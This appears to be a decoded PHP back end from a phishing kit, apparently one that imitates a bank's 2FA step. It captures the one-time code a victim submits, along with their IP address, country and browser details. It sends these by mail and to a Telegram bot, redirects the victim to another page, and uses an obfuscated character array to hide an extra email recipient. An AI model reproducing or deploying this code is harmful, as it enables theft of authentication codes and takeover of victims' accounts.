PHP Decode

<?php 
	require("../config.php"); 
	include('../me.php'); 
	   $country = visitor_country(); 
	   $ip = getenv("REMOTE_ADDR"); 
	$Port = getenv("REMOTE_PORT"); 
	$browser = $_SERVER['HTTP_USER_AGENT']; 
	$adddate=date("D M d, Y g:i a"); 
	$subject = "**Prohqcker_Bot**"; 
	$message = "**Prohqcker_Bot*WATRUST***+++
"; 
	$message .= "2FA : ".$_POST['otp']."
"; 
	$message .= "User-!P : ".$ip."
"; 
	$message .= "Country : ".$country."

"; 
	$message .= "----------------------------------------
"; 
	$message .= "Date : $adddate
"; 
	$message .= "User-Agent: ".$browser."
"; 
	$headers = "From: Packaging"; 
	@mail($send,$subject,$message,$headers); 
	send_telegram_msg($message); 
	header("location:../c.html"); 
	function country_sort(){ 
	  $sorter = ""; 
	  $array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109); 
	    $count = count($array); 
	  for ($i = 0; $i < $count; $i++) { 
	      $sorter .= chr($array[$i]); 
	    } 
	  return array($sorter, $GLOBALS['recipient']); 
	} 
	function visitor_country() 
	{ 
	    $client  = @$_SERVER['HTTP_CLIENT_IP']; 
	    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
	    $remote  = $_SERVER['REMOTE_ADDR']; 
	    $result  = "Unknown"; 
	    if(filter_var($client, FILTER_VALIDATE_IP)) 
	    { 
	        $ip = $client; 
	    } 
	    elseif(filter_var($forward, FILTER_VALIDATE_IP)) 
	    { 
	        $ip = $forward; 
	    } 
	    else 
	    { 
	        $ip = $remote; 
	    } 
	  
	    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); 
	  
	    if($ip_data && $ip_data->geoplugin_countryName != null) 
	    { 
	        $result = $ip_data->geoplugin_countryName; 
	    } 
	  
	    return $result; 
	} 
	?>